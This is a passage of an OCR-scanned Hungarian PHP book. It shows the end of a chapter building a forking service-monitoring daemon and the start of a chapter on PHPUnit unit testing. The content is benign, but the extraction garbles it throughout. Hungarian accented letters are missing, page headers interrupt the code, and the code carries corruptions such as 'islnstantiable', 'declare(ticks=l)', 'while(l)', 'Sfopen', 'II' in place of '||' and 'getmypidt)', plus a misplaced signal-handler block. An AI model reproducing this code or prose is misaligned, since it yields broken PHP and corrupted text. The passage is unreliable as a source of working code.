$loggers = array(); $this->num_children = $num_children; $conf = simplexml_load_file($conf) ; foreach($conf->loggers->logger as $logger) { $class = new Reflection_Class("$logger->class"); if ($class->islnstantiable()) { $loggers["$logger->id"] = $class->newlnstance(); } else { fputs(STDERR, "{$logger->class} cannot be instantiated.\n"); exit ; } } foreach($conf->services->service as $service) { $class = new Reflection_Class("$service->class"); if ($class->islnstantiable()) { $item = $class->newlnstance($service->params); foreach($service->loggers->logger as $logger) { $item->register_logger($loggers["$logger"])j } $this->services[] = $item; } else { fputs(STDERR, "{$service->class} is not instantiable.\n") ; exit; } } }

5. fejezet Megvalsts PHP nyelven: nll programok

151

privt function next_attempt_sort($a, $b) { if($a->next_attempt() == $b->next_attempt()) { return 0; } return ($a->next_attempt() < $b->next_attempt()) ? -1 : 1; } privt function next() { usort($this->services, array($this,'next_attempt_sort')); return $this->services[0]; } public function loop() { declare(ticks=l); pcntl_signal(SIGCHLD, array($this, "sig_child")); pcntl_signal(SIGUSR1, array($this, "sig_usrl")); while(l) { $now = time(); if(count($this->children) < $this->num_children) { $service = $this->next(); if($now < $service->next_attempt()) { sleep(1); continue; } $service->set_next_attempt(); if($pid = pcntl_fork()) { $this->children[$pid] = $service; } else { pcntl_alarm($service->timeout()); exit($service->run()); } } } } public function log_current_status() { foreach($this->services as $service) { $service->log_current_status(); } } privt function sig_child($signal) { $status = ServiceCheck::FAILURE;

152

PHP fejleszts felsfokon

pcntl_signal(SIGCHLD, array($this, "sig_child")); while(($pid = pcntl_wait($status, WNOHANG)) > 0) { $service = $this->children[$pid]; unset($this->children[$pid]); if(pcntl_wifexited($status) && pcntl_wexitstatus($status) == ServiceCheck::SUCCESS) { $status = ServiceCheck::SUCCESS; } $service->post_run($status); } } privt function sig_usrl($signal)
{

pcntl_signal(SIGUSR1, array($this, $this->log_current_status();


} }

"sig_usrl"));

Ez egy meglehetsen kidolgozott osztly. A konstruktr beolvas s feldolgoz egy XML llomnyt, ezltal ltrehozza a figyelend szolgltatsokat, illetve az azokat rgzt naplzkat. A rszletekre hamarosan kitrnk. A loop () tagfggvny az osztly f metdusa. Feladata, hogy belltsa a kvnt jelzskezelket, illetve hogy ellenrizze, ltrehozhat-e j gyermekfolyamat. Ha a kvetkez esemny (amit a next_attempt idblyegzvel vezrlnk) futtathat, j folyamatot gaztatunk le. A gyermekfolyamaton bell egy riaszts gondoskodik rla, hogy az ellenrzs ne tarthasson tovbb a timeout rtknl, majd a run () ltal meghatrozott ellenrzs vgrehajtsra kerl sor. Kt jelzskezelnk van. A sig_child () nev SIGCHLD kezel begyjti a befejezett gyermekfolyamatokat, s vgrehajtja szolgltatsuk post_run () tagfggvnyt. A sig_usrl () nev SIGUSR1 kezel egyszeren meghvja a bejegyzett naplzok log_current_status () tagfggvnyeit, amelyekkel lekrdezhet a teljes rendszer llapota. A figyelrendszer nmagban persze nem csinl semmit; mkdshez legalbb egy figyelend szolgltatsra van szksg. Az albbi osztly azt ellenrzi, hogy egy HTTP kiszolgltl 200 Server OK vlaszt kaptunk-e: class HTTP_ServiceCheck extends ServiceCheck
{

public $url;
public function __ construct($params) {

5. fejezet Megvalsts PHP nyelven: nll programok

153

foreach($params as $k => $v) $k = "$k"; $this->$k = "$v";


} }

public function run()


{

if (is_resource(Sfopen($this->url, " r " ) ) ) return ServiceCheck::SUCCESS;


}

else { return ServiceCheck::FAILURE;


} } }

A korbban felptett keretrendszerrel sszevetve ez a szolgltats kifejezetten egyszer s ppen ez a lnyeg: az erfeszts a keretrendszer ptsre korltozdik, mg a bvts igen knny. Pldaknt lssunk egy olyan ServiceLogger folyamatot, amely e-mailben rtesti az illetkest, ha egy szolgltats lell: class EmailMe_ServiceLogger implements ServiceLogger { public function log_service_event(ServiceCheck $service)
{

if ( $service->current_status == ServiceCheck::FAILURE) { $message = "Problem with {$service->description()}\r\n" ; mail('oncall@example.com', 'Service Event', $message); if($service->consecutive_failures() > 5) { mail('oncall_backup@example.com', 'Service Event', $message);
} } }

public function log_current_status(ServiceCheck $service)


{

return;
} }

tnl tbb sikertelen prblkozs esetn a folyamat egy tartalk cmre is zenetet kld. A log_current_status () tagfggvnyt nem tlti meg tartalommal.

154

PHP fejleszts felsfokon

Ha olyan ServiceLogger folyamatot szeretnnk megvalstani, ami a PHP hibanaplba r, ha egy szolgltats llapota megvltozik, a kvetkez kdot kell rnunk: class ErrorLog_ServiceLogger implements ServiceLogger { public function log_service_event(ServiceCheck $service)
{

if($service->current_status() !== $service->previous_status()) { if($service->current_status() === ServiceCheck::FAILURE) { $status = 'DOWN';


}

else { $status =
}

'UP';

error_log("{$service->description()} changed status to '*> $status") ;


} }

public function log_current_status(ServiceCheck $service) { error_log("{$service->description()}: $status"); } }

A log_current_status () tagfggvny itt azt csinlja, hogy ha a folyamat SIGUSRl jelzst kap, minden aktulis llapotinformcit a PHP hibanaplba nt. A motor belltfjlja valahogy gy festhet:
<config> <loggers> <logger> <id>errorlog</id> <class>ErrorLog_ServiceLogger</class> </logger> <logger> <id>emailme</id> <class>EmailMe_ServiceLogger</class> </logger> </loggers> <services> <service> <class>HTTP_ServiceCheck</class> <params> <description>OmniTI HTTP Check</description> <url>http://www.omniti.com</url> <timeout>3 0</timeout> <frequency>9 00</frequency> </params>

5. fejezet Megvalsts PHP nyelven: nll programok

155

<loggers> <logger>errorlog</logger> <logger>emailme</logger> </loggers> </service> <service> <class>HTTP_ServiceCheck</class> <params> <description>Home Page HTTP Check</description> <url>http://www.schlossnagle.org/~george</url> <timeout>3 0</timeout> <freguency>3 6 0 0 < / f requency> </params> <loggers> <logger>errorlog</logger> </loggers> </service> </services> </config> Amikor megkapja ezt az XML llomnyt, a ServiceCheckRunner konstruktora minden megadott naplzbl pldnyt kszt, majd az egyes szolgltatsok szmra ServiceCheck objektumpldnyokat hoz ltre.

Megjegyzs

A konstruktr a Ref lection_Class osztly segtsgvel megvizsglja a szolgltats- s naplz osztlyokat, mieltt pldnyostan azokat. Ez nem felttlenl szksges, de jl illusztrlja a PHP5-ben jonnan megjelent visszatekint felletet (Reflection API). A fellet az osztlyok mellett a PHP szinte minden bels egyednek (fggvnyek, tagfggvnyek) vizsglathoz biztost osztlyokat.

A ltrehozott motor hasznlathoz mg szksges nmi burkol kd. A figyelnek meg kell akadlyoznia, hogy ktszer is elindthassuk, s gy minden esemnyrl ktszer kldjnk zenetet. Emellett bizonyos kapcsolkat is el kell fogadnia, tbbek kztt a kvetkezket:
Kapcsol Lers

[-f ]______ A motor belltfjljnak helye; alaprtelmezs szerint monitor .xml._________ [-n] A gyermekfolyamat-gyjttrnak a motor ltal megengedett mrete; az alap__________ rtelmezett rtk 5._________________________________________________ A motor dmonn ttelt megakadlyoz jelz. Akkor lehet r szksg, ha hibakeres ServiceLogger folyamatot szeretnnk rni, ami az informci__________ kat a stdout-ra vagy a stderr-re rja.____________________________________ [-d]

156

PHP fejleszts felsfokon

me a vgleges figyelprogram, ami kapcsolkat is elfogad, garantlja a kizrlagossgot, s futtatja a szolgltatskeresket:

require_once "Service.inc"; require_once "Console/Getopt.php"; $shortoptions = "n:f:d"; $default_opts = array('n' => 5, ' ' => 'monitor.xml') ; $args = getOptions($default_opts, $shortoptions, null); $fp = fopen("/tmp/.lockfile", " a " ) ; i f( ! $ f p II !fl ock($fp, LOCK_EX | LOCK_NB)) {
fputs($stderr, "Failed to acquire lock\n"); exit ; } if(!$args['d']) { if(pcntl_fork()) { exit; }

posix_setsid(); if(pcntl_fork()) exit;


} }

fwrite($fp, getmypidt)); fflush($fp); $engine = new ServiceCheckRunner($args['f ' ] , $engine->loop (); $args['n']);

Megfigyelhetjk, hogy a pldaprogramban a korbban meghatrozott sajt getOptions () fggvnyt hasznltuk, hogy a feldolgozsi kapcsolkkal knnyebb dolgunk legyen. Miutn megrtunk egy megfelel belltfjlt, a programot a kvetkezkppen indthatjuk el:

> ./monitor.php -f /etc/monitor.xml


Ezzel ltrehoztuk a dmont, ami a szolgltatsok figyelst addig folytatja, amg a szmtgpet le nem lltjk vagy a programot le nem lvik. A program meglehetsen sszetett, ennek ellenre lehet mg javtani rajta - de az albbi feladatokat gyakorlskppen az Olvasra hagyjuk: Adjunk a programhoz egy SIGHUP kezelt, amely jra feldolgozza a belltfjlt, hogy a belltsokat a kiszolgl jraindtsa nlkl mdosthassuk.

5. fejezet Megvalsts PHP nyelven: nll programok

157

rjunk egy olyan ServiceLogger-t, ami maradand (perzisztens) adatok szmra ksztett adatbzisba r, ahonnan az adatok lekrdezhetk. Ksztsnk webes felletet a programhoz, hogy a figyelrendszer csinos grafikus fellettel rendelkezzen.

Tovbbi olvasmnyok
A PHP nyelv hjprogramozssal kapcsolatban nem sok forrs lelhet fel; a Perl a felgyeleti feladatok tern sokkal nagyobb mltra tekinthet vissza. Dvid N. Blank-Edelman knyve, a Perl for Systems Administration sszeszedett szveg, a kt nyelv szablyai s szolgltatsai kztt pedig van annyi hasonlsg, hogy a ktetben szerepl Perl nyelv pldkat knnyen tltethessk PHP-re. Aphp \architect cm elektronikus (illetve most mr nyomtatsban is elrhet) folyiratbl Marco Tabini remek cikkt ajnljuk, amelyet a PHP, illetve az ncurses bvtmny segtsgvel ptett interaktv, terminl alap alkalmazsokrl rt. (Volume 1, Issue 12. Elrhet a http: //www.phparch. com cmen.) Br itt sajnos nincs elegend hely a trgyalsra, a PHP-GTK ktsgkvl rdekes vllalkozs, amely grafikus fellet asztali alkalmazsok ksztsre irnyul PHP nyelven, a GTK grafikus elemkszlet segtsgvel. A PHP-GTK-rl bvebb informcit a http: / /gtk. php. net cmen tallunk. rdemes megnzni a http: / /nagios . org cmen elrhet Nagios erforrs-figyelt, amely egy kitn nylt forrs figyelrendszer. A fejezetben bemutatott figyelprogramot is a Nagios ihlette. A Nagios C nyelv s CGI alap, ezrt nehezen testreszabhat, a mi programunk motorjnak magja azonban PHP nyelv, gy az eltrrendszer knnyen az ignyekhez igazthat.

Egysgtesztels
A tervezs s a tesztels elvlaszthatatlanul sszetartozik. Minden kdot ellenrizni kell valamikor - megvalsts kzben, kifejezetten tesztelsi lpsben, vagy zembe helyezskor. Minden fejleszt, akinek a keze kzl kerlt mr ki hibs kd, tudja, hogy knnyebb megtallni a hibt fejleszts kzben, mint lben", mkds kzben. Szmos kifogs ltezik arra, hogy valaki mirt is nem teszteli a kdot, mieltt tl ks lenne. Ezek a legnpszerbbek: Szort a hatrid. Az n kdom mindig mkdik elsre is. Az n gpemen tkletesen fut a kd. Vizsgljuk meg a fenti kifogsokat. Elszr is, a temp ltalban azrt fesztett, mert nem mindegy, hogy elbb vagy ksbb tesztelnk: a kd stabill s mkdkpess ttelhez szksges tesztels mennyisge egyenesen arnyos a megrt kddal, vagyis a korai s ksi tesztels nem azonos kltsg mveletek. A hibakeresst kt dolog nehezti: Egy formlis tesztelsi rendszerrel nem rendelkez nagy mret alaprendszerben nehz megtallni a hibk gykert. Olyan, mintha tt keresnnk a sznakazalban. Egy tzsoros programban meglelni a hibt knny, de ugyanez tzezer sornyi beemelt kd esetben rendkvli erfesztst ignyel. Ahogy az alaprendszer n, gy nvekszik az elemek kztti fggsgek szma is. Egy kzponti" fggvnyknyvtrban vgrehajtott ltszlag jelentktelen vltoztats - legyen az akr j szolgltats hozzadsa, vagy egy hiba kijavtsa - szndkunktl fggetlenl tnkreteheti az alkalmazs ms rszeit, gy a szoftver jraptsre lehet szksg. (Ezt hvjk idegen szval refaktorizcinak.) Ahogy a szoftver mrete s sszetettsge n, egyre nehezebb vlik olyan mdostsokat vgrehajtani, amelyek nem jrnak jelents idkltsggel vagy nem okoznak jabb hibkat.

160

PHP fejleszts felsfokon

Msodszor, minden szoftver tartalmaz hibkat. Aki azt lltja, hogy az programjai mindig hibamentesek, lomvilgban l. Harmadszor, minden rendszer belltsai klnbznek, s ezek a klnbsgek gyakran elre nem lthat mdon alakulnak ki. A PHP klnbz vltozatait hasznljk, a fggvnyknyvtrak verziszma klnbzik, ms az llomnyrendszer felptse - ez csak nhny a lehetsges okok kzl, amelyek miatt az egyik gpen tkletesen fut kd a msik gpen rejtlyesen kudarcot vall. Br az emltett gondok megoldsra nem ltezik csodaszer, egy j egysgtesztel infrastruktra sokat segthet. Az egysg (unit) a kd egy kismret nll rsze, pldul egy fggvny vagy osztlymetdus. Az egysgtesztels a kd ellenrzsnek olyan formlis megkzeltse, amelyben egy alkalmazs minden sszetevjhez (vagyis minden egysghez) egy-egy teszthalmaz tartozik. Ha ezen tesztek vgrehajtsra van egy automatizlt keretrendszernk, az alkalmazst folyamatosan s kvetkezetesen ellenrizhetjk, gy gyorsan azonosthatjuk a hibkat, s rtkelhetjk egy jrapts hatst a program ms rszeire. Az egysgtesztels nem ptolja a teljes alkalmazstesztelst, csak kiegszti azt, hogy rvidebb ud alatt stabilabb kdot kszthessnk. Azzal, hogy folyamatos ellenrzst kapcsolunk egy fggvnyknyvtrhoz, ami vgigksri annak egsz lett, megknnytjk a kd jraptst, s biztostjuk, hogy a tbbi szolgltatsban ne kvetkezzen be visszafordthatatlan vltozs. Minden esetben, amikor bels mdostst eszkzlnk a fggvnyknyvtrban, a tesztcsomagot jra lefuttatjuk. Ha az ellenrzs nem jelez hibt, az jrapts sikeres volt. Ezzel a rejtlyes alkalmazshibk feldertse jelentsen knnyebb vlik. Ha egy knyvtr minden tesztet sikeresen teljest (s a tesztcsomag teljes), a hibt valsznleg nem okozza.

Megjegyzs

Az egysgtesztelst ltalban az extrm programozs mdszertanhoz ktik. Az tfog egysgtesztels valban sarokkve az extrm programozsnak, de a mdszer mr jval az extrm programozs megjelense eltt ltezett, s termszetesen attl fggetlenl is hasznlhat. E knyv egyetlen programozsi mdszerrl sem lltja, hogy az lenne az egyetlen helyes stlus", ezrt az egysgtesztelst is nll eljrsknt trgyaljuk, amely stabil kdok tervezst s ptst segti. Ha az extrm programozsrl mg nem olvastunk semmit, rdemes megismerkednnk vele. rdekes megoldsokat tartalmaz, amelyekkel szmos profi programoz l. A fejezet vgn, a Tovbbi olvasmnyok cm rszben rszletesebb informcikat tallunk.

6. fejezet Egysgteszteles

161

Bevezets az egysgtesztelsbe
Egy sikeres egysgtesztel keretrendszernek rendelkeznie kell bizonyos tulajdonsgokkal, tbbek kztt a kvetkezkkel: Automatizlt - A rendszernek minden szksges tesztet a programoz beavatkozsa nlkl kell futtatnia. Knnyen megrhat - A rendszernek knnyen hasznlhatnak kell lennie. Bvthet - A szksges munkamennyisg cskkentse cljbl a mr ltez teszteknek jrahasznosthatnak kell lennik. Ahhoz, hogy valban profitlhassunk az egysgtesztelsbl, a teszteknek is meg kell felelnik bizonyos ismrveknek: tfog - A teszteknek minden fggvnyt s osztlyt ellenriznik kell. Nem csak azt kell biztostanunk, hogy minden fggvny gy mkdik, ahogy vrjuk, hanem azt is, hogy ha helytelen adatokat kapnak, megfelelen fejezik be mkdsket. Emellett a knyvtr hasznlata sorn felfedezett hibkra is teszteket kell rnunk. A rszleges tesztels olyan lyukakat hagy, amelyek jrapts esetn j hibkhoz vagy a rgiek jbli felbukkanshoz vezethetnek. jrahasznosthat - A teszteknek elg ltalnosnak kell lennik, hogy clpontjukat jra s jra ellenrizhessk, ami szksges ahhoz, hogy a knyvtr helyessgt teljes lettartama alatt biztosthassuk.

Egysgtesztek rsa automatikus egysgtesztelshez


A fejezetben trgyalt tesztel keretrendszerhez a PEAR PHPUnit csomagjt hasznljuk. A PHPUnit a legtbb ingyenes egysgtesztel keretrendszerhez hasonlan a JUnit-on, Erich Gamma s Kent Beck kitn Java egysgtesztel csomagjn alapul. A PHPUnit teleptshez csak a kvetkez parancsot kell kiadnunk (valsznleg rendszergazdai hozzfrssel): # pear install phpunit A PHPUnit emellett a http: //pear .php.net/PHPUnit cmrl is letlthet.

Els egysgtesztnk
Az egysgtesztek gynevezett tesztesetek gyjtemnyei. A teszteset feladata egy adott forgatknyv kimenetelnek ellenrzse. A forgatknyv olyan egyszer is lehet, mint egy fggvny eredmnynek tesztelse, de ellenrizhetjk egy bonyolult mvelethalmaz eredmnyt is.

162

PHP fejleszts felsfokon

A PHPUnit-ban a tesztesetek a PHPUnit_Framework_TestCase osztly alosztlyai. Ezen osztly pldnyai egy vagy tbb tesztesetbl, illetve nem ktelez belltsokbl s ms kdbl llnak. A legegyszerbb tesztesetek egyetlen tesztet valstanak meg. rjunk most egy olyan tesztet, ami egy egyszer levlcm-feldolgoz viselkedst ellenrzi. A feldolgoz egy RFC 822-megfelel elektronikus levlcmet bont annak sszetevire. class EmailAddress { public $localPart; public $domain; public $address; public function _____ construct($address = null) if($address) { $this->address = $address; $this->extract();
} }

protected function extract() { list ($this->localPart, $this->domain) = explode("@", $this->address) ;


} }

A fenti kd tesztelsre ltrehozunk egy TestCase nev osztlyt, ami egy olyan tagfggvnyt tartalmaz, ami ellenrzi, hogy egy ismert e-mail cmet helyesen bontottunk-e sszetevkre: require_once "EmailAddress.inc"; require_once 'PHPUnit/Framework/TestClass.php'; class EmailAddressTest extends PHPUnit_Framework_TestCase { public function _____ constructor($name) { parent: :____ constructor($name);
}

function testLocalPart() { $email = new EmailAddress("georgeomniti.com"); // ellenrizzk, hogy a cm helyi rsze 'george'-e $this->assertTrue($email->localPart == ' g e o r g e ' ) ;
} }

Ezutn be kell jegyeztetnnk a tesztosztlyt. Ltrehozunk egy PHPUnit_Framework_TestSuite objektumot, s hozz egy tesztesetpldnyt: require_once "PHPUnit/Framework/TestSuite"; $suite = new PHPUnit_Framework_TestSuite() ; $suite->addTest(new EmailAddressTest('testLocalPart'))

6. fejezet Egysgtesztels

163

Miutn ezt elvgeztk, futtatjuk a tesztet: require_on.ce "PHPUnit/TextUI/TestRunner" ; PHPUnit_TextUI_TestRunner::run($suite); Az albbi eredmnyt kapjuk, amit kirathatunk: PHPUnit 1. 0. 0-dev by Sebastian Bergmann.

Time: 0.00156390666962 OK (1 test)

Tbb teszt hozzadsa


Ha tbb kismret tesztesetnk van (pldul ha mind a helyi cmrsz, mind a tartomny helyes felbontst ellenrizzk), elkerlhetjk, hogy sok TestCase osztlyt kelljen ltrehoznunk. A TestCase osztlyok ugyanis egyszerre tbb tesztet is tartalmazhatnak: class EmailAddressTestCase extends PHPUnit_Framework_TestCase{ public function _____ constructor($name) { parent: :____constructor($name);
}

public function testLocalPart() { $email = new EmailAddress("george@omniti.com"); // ellenrizzk, hogy a cm helyi rsze 'george'-e $this->assertTrue($email->localPart == 'george'); } public function testDomainO { $email = new EmailAddress("george@omniti.com"); $this->assertEquals($email->domain, 'omniti.com'); } } A tesztek bejegyzse ugyangy trtnik, mintha egyetlen tesztnk lenne: $suite = new PHPUnit_FrameWork_TestSuite(); $suite->addTest(new EmailAddressTestCase('testLocalPart')); $suite->addTest(new EmailAddressTestCase('testDomain')); PHPUnit_TextUI_TestRunner::run($suite);

164

PHP fejleszts felsfokon

Knyelmi szempontbl clszer a PHPUnit_Framework_TestSuite objektumot a TestCase osztly nevvel pldnyostani, mert gy a $suite minden tagfggvnyt, amelynek neve a test eltaggal kezddik, automatikusan bejegyez: $suite = new PHPUnit_Framework_TestSuite('EmailAddressTestCase') ; // a testLocalPart s a testDomain bejegyzse most mr automatikus PHPUnit_TextUI_TestRunner::run($suite); Meg kell jegyeznnk, hogy ha a csomaghoz az addTest hasznlatval adunk tbb tesztet, azok abban a sorrendben futnak le, amelyben hozzadtuk ket. Ha a teszteket automatikusan jegyezzk be, bejegyzsk a get_class_methods () ltal visszaadott sorrendben trtnik. (A TestSuite ezzel a fggvnnyel nyeri ki automatikusan a tesztel fggvnyeket.)

Kdon belli s kvli egysgtesztek


Az egysgtesztek nem csak a fejleszts korai szakaszban hasznosak, hanem a projekt teljes lete sorn. Amikor csak jraptnk egy kdot, azt szeretnnk, ha a teljes egysgtesztel csomag futtatsval ellenrizhetnnk annak helyessgt. De hogyan rendezhetjk el a legjobban az egysgteszteket gy, hogy azok knnyen futtathatk, frissthetk, s a knyvtrral egytt szllthatk" legyenek? Az egysgtesztek becsomagolsra kt lehetsgnk van. Az els, hogy a tesztel kdot kzvetlenl a knyvtrakba ptjk. E mdszer elnye, hogy a tesztek az ellenrzend kddal egytt frisslhetnek, de vannak htrnyai is. A msik lehetsg, hogy a teszteket nll fjlokba helyezzk.

Kdon belli tesztels


A tesztek becsomagolsnak egyik lehetsges mdja, hogy kzvetlenl a knyvtrakba ptjk ket. Mivel pedns programozk vagyunk, fggvnyeinket alrendelt knyvtrakban tartjuk, amelyeket soha nem hvunk meg kzvetlenl (vagyis soha nem hozunk ltre olyan oldalt, hogy www. omniti . com/EmailAddress . inc). Ennlfogva ha a tesztel kdot gy adjuk hozz egy knyvtrhoz, hogy kizrlag akkor fusson le, ha a knyvtrat kzvetlenl hvjk meg, a kdot lthatatlanul bepthetjk a kdalapba. Adjuk az EmailAddress . inc vghez a kvetkez blokkot: if (realpath($_SERVER[ ' PHP_SELF ' ] ) ==____FIL__ ) { require_once "PHPUnit/Framework/TestSuite.php"; require_once "PHPUnit/TextUI/TestRunner.php"; class EmailAddressTestCase extends PHPUnit_Framework_TestCase{ public function _____ construct($name) { parent: :____construct ( $name) ;
}

6. fejezet Egysgtesztels

165

public function testLocalPart() { $email = new EmailAddress("george@omniti.com"); // ellenrizzk, hogy a cm helyi rsze 'george'-e $this~>assertTrue($email->localPart == ' g e or g e ' ) ;
}

public function testDomain() { $email = new EmailAddress("georgeSomniti.com"); $this->assertEquals($email->domain, ' om n i t i . c om ' ) ;


} }

$suite = new PHPUnit_Framework_TestSuite('EmailAddressTestCase'); PHPUnit_TextUI_TestRunner::run($suite);


}

Mi trtnik itt? A blokk elejn ellenrizzk, hogy a fjlt kzvetlenl vagy (az includedal) beemelt kdknt hajtjuk-e vgre. A $_SERVER [' PHP_SELF ' ] automatikus vltoz, amely a vgrehajts alatt ll program nevt adja meg. A realpath ( $_SERVER [ ' PHP_SELF ' ] ) a fjl kanonikus abszolt elrsi tjt adja vissza, a___FIL__ pedig - ami egy automatikusan meghatrozott lland - az aktulis fjl kanonikus nevt. Ha a kett megegyezik, az azt jelenti, hogy a fjlt kzvetlenl hvtk meg; ha klnbznek, include hvsrl van sz. Ezutn a szoksos egysgtesztel kd kvetkezik, majd a tesztek meghatrozsa, bejegyzse s futtatsa.

Relatv, abszolt s kanonikus elrsi utak

Ezeket a kifejezseket gyakran hasznljk. A relatv elrsi t az aktulis knyvtrhoz viszonytott, pldul valami .php vagy . . /scripts/valami .php. Mindkt pldban tudnunk kell, melyik az aktulis knyvtr, hogy megtallhassuk a fjlt. Az abszolt elrsi t a gykrknyvtrhoz kpest adja meg a helyet. A /home/george/ scripts/valami.php vagy a/home/george//src/../scripts/./valami.php pldul abszolt elrsi utak. (Mindkett ugyanarra az llomnyra mutat.) A kanonikus elrsi tban nem szerepelnek a kvetkez jelek: /. ./, /./ s //. A realpath () fggvnynek egy relatv vagy abszolt elrsi utat kell tadnunk, amit az kanonikus abszolt elrsi tt alakt. Ilyen elrsi t pldul a /home/george/scripts/valami.php.

166

PHP fejleszts felsfokon

Az EmailAddress osztly tesztelshez csak kzvetlenl vgre kell hajtanunk a beemelt llomnyt: (george@maya)[chapter-6]> php EmailAddress.inc PHPUnit 1.0.0-dev by Sebastian Bergmann.

Time: 0.003005027771 OK (2 tests) A tesztkd kzvetlen begyazsa a knyvtrba ismers lehet a Python programozk szmra, hiszen a Python szabvnyos knyvtra gyakran l ezzel a tesztelsi mdszerrel. A kdon belli tesztek elnyei a kvetkezk: A tesztek mindig kznl vannak. A felpts szigoran szablyozott. A mdszernek azonban vannak htulti is: Ha a termk elkszlt, szllts eltt a tesztkdokat sajt kezleg kell kiszedegetni. A tesztels mdostshoz a knyvtrakat nem kell megvltoztatni, s ez fordtva is igaz. gy a tesztek s a knyvtrkdok vltozatainak kezelse egymstl fggetlen lesz. A PHP rtelmezett nyelv, gy a teszteket mindenkppen fel kell dolgozni a program futtatsakor, ami cskkentheti a teljestmnyt. Ezzel szemben egy olyan lefordtott nyelvben, mint a C++, elfeldolgozi utastsokkal (pl. #ifdef) teljes egszben eltvolthatjuk a tesztkdot a knyvtrbl, ha a fordts nem egy adott jelzvel trtnik. A begyazott tesztek a weblapok, illetve C bvtmnyek esetben nem mkdnek (legalbbis nem egyszeren).

nll tesztek
A begyazott tesztek htrnyait figyelembe vve clszer msik mdszert vlasztani, s a teszteket nll llomnyokba helyezni. Az ilyen kls tesztek megvalstsra szmos megkzelts ltezik. Egyesek minden knyvtrmappban ltrehoznak egy t vagy tests nev alknyvtrt, amelybe a tesztkdokat helyezik. (Ez a Periben a regresszis tesztek szabvnyos mdszere, amit jabban a PHP forrspt fa tesztelsre is tvettek.) Msok tesztjeiket kzvetlenl a forrsfjlok mell teszik. Szervezsi szempontbl mindkt mdszernek vannak elnyei, gyhogy a dnts inkbb csak a szemlyes zlsnkn mlik. Mi a msodik megkzeltsnl maradunk, hogy a pldk vilgosak maradjanak. Minden knyvtr. inc fjlhoz ltre kell hoznunk egy knyvtr. phpt fjlt, amely tartalmazza a szmra meghatrozott valamennyi PHPUnit_Framework_TestCase objektumot.

6. fejezet Egysgtesztels

167

A tesztprogramban hasonl fogst alkalmazunk, mint amit a fejezet korbbi rszben: becsomagoljuk a PHPUnit_Framework_TestSuite ltrehozst s lefuttatunk egy ellenrzst, hogy lssuk, a tesztkd vgrehajtsa kzvetlenl trtnik-e. gy knnyen futtathatjuk a fjlban tallhat teszteket (kzvetlen vgrehajtssal), vagy beemelhetjk azokat egy nagyobb tesztbe. Az EmailAddress .phpt gy nz ki:
<?php require_once "EmailAddress.inc"; require_once 'PHPUnit/Framework/TestSuite.php'; require_once 'PHPUnit/TextUI/TestRunner.php'; class EmailAddressTestCase extends PHPUnit_Framework_TestCase { public function __ construct($name) { parent: :__ construct ( $name) ; } public function testLocalPart() { $email = new EmailAddress("georgeomniti.com"); // ellenrizzk, hogy a cm helyi rsze 'george'-e $this->assertTrue($email->localPart == 'george') ; } public function testDomain() { $email = new EmailAddress("george@omniti.com"); $this->assertTrue($email->domain == 'omniti.com'); } } if (realpath($_SERVER[PHP_SELF] ) ==__ FIL__ ) { $suite = new PHPUnit_Framework_TestSuite('EmailAddressTestCase'); PHPUnit_TextUI_TestRunner::run($suite); } ?>

A tesztek nagyobb egysgbe val beemelsn kvl kzvetlenl is vgrehajthatjuk az EmailAddress .phpt-t, hogy csak a benne tallhat tesztek fussanak le:
PHPUnit 1 . 0 . 0 -d e v by Sebastian Bergmann.

Time: 0.0028760433197 OK (2 tests)

168

PHP fejleszts felsfokon

Egyszerre tbb teszt futtatsa


Ahogy egy alkalmazs mrete n, az jrapts rmlomm vlhat. Lttam mr olyan, milli sorbl ll kdalapot, amelyben a hibkkal nem is trdtek, egyszeren azrt, mert a kd tl sok ltfontossg sszetevhz kapcsoldott, amelyek mkdkpessgt nem akartk kockra tenni. Az igazi gondot nem a kd tfog felhasznlsa jelentette, hanem az, hogy az alkalmazs sszetevinek tesztelsre nem volt megbzhat mdszer, amivel az jraptsek hatst meg lehetett volna hatrozni. n lusta vagyok, s gy vlem, a legtbb fejleszt az - ami nem felttlenl baj. Egy egyszer regresszis tesztet rni knny, gy ha a teljes alkalmazst nem tudom knnyen ellenrizni, ellenrzm azt a rszt, amelyiket knnyen lehet. Szerencsre a TestCase objektumokat egyszer sszefogni egy nagyobb regresszis tesztben. Ha egyetlen teszt rszeknt tbb TestCase objektumot szeretnnk futtatni, osztlyaikat az addTestSuite () tagfggvnnyel adhatjuk a csomaghoz. Lssuk, hogyan:
<?php require_once require_once require_once require_once

"EmailAddress.phpt"; "Text/Word.phpt"; "PHPUnit/Framework/TestSuite.php"; "PHPUnit/TextUI/TestRunner.php";

$suite = new PHPUnit_Framework_TestSuite(); $suite->addTestSuite('EmailAddressTestCase'); $suite->addTestSuite('Text/WordTestCase'); PHPUnit_TextUI_TestRunner::run($suite); ?>

A msik megolds, ha kihasznljuk a PHPUnit__Framework__TestSuite automatikus bejegyzsi kpessgeit. Az automatikusan betltend tesztfggvnyek elnevezsi szablyaihoz hasonlan megkvetelhetjk, hogy minden automatikusan betltend PHPUnit_Framework_TestCase alosztly neve TestCase-re vgzdjn. Ezutn vgignzhetjk a bevezetett osztlyok listjt, hogy a megfelel osztlyokat a tesztcsomaghoz adjuk. Mindez gy trtnik:
<?php require_once "PHPUnit/FrameWork/TestSuite.php"; class TestHarness extends PHPUnit_Framework_TestSuite { privt $seen = array(); public function __ construct() { $ths = parent: :__ construct(); foreach( get_declared_classes() as $class) { $this->seen[$class] = 1; } }

6. fejezet Egysgtesztels

169

public function register($file) { require_once($file) ; foreach( get_declared_classes() as $class) { if(array_key_exists($class, $this->seen)) { continue; }

$this->seen[$class] = 1; // a ZE kisbetss alaktja az osztlyneveket, ezrt "testcase"-t keresnk if(substr($class, -8, 8) == ' t e s t c a s e ' ) { print "adding $class\n"; $this->addTestSuite($class);
} } } } ?>

A TestHarness osztly hasznlathoz egyszeren be kell jegyeznnk a tesztosztlyokat tartalmaz llomnyokat, s ha azok neve TestCase-re vgzdik, bejegyezhetk s futtathatk lesznek. Az albbi pldban egy burkolt ksztnk, ami a TestHarness segtsgvel automatikusan betlti az EmailAddress .phpt s a Text/Word.phpt llomnyokban tallhat teszteseteket: <?php require_once "TestHarness.php"; require_once "PHPUnit/TextUI/TestRunner.php"; $suite = new TestHarness(); $suite->register("EmailAddress.phpt"); $suite->register("Text/Word.phpt"); PHPUnit_TextUI_TestRunner::run($suite);
?>

Ez megknnyti, hogy egyetlen kzponti helyrl futtassunk minden PHPUnit_Framework_TestCase objektumot, ami nagy megknnyebblst jelenthet, ha egy API-ban olyan kzponti knyvtrakat ptnk jra, amelyek az alkalmazs szmos klnbz rszre lehetnek hatssal.

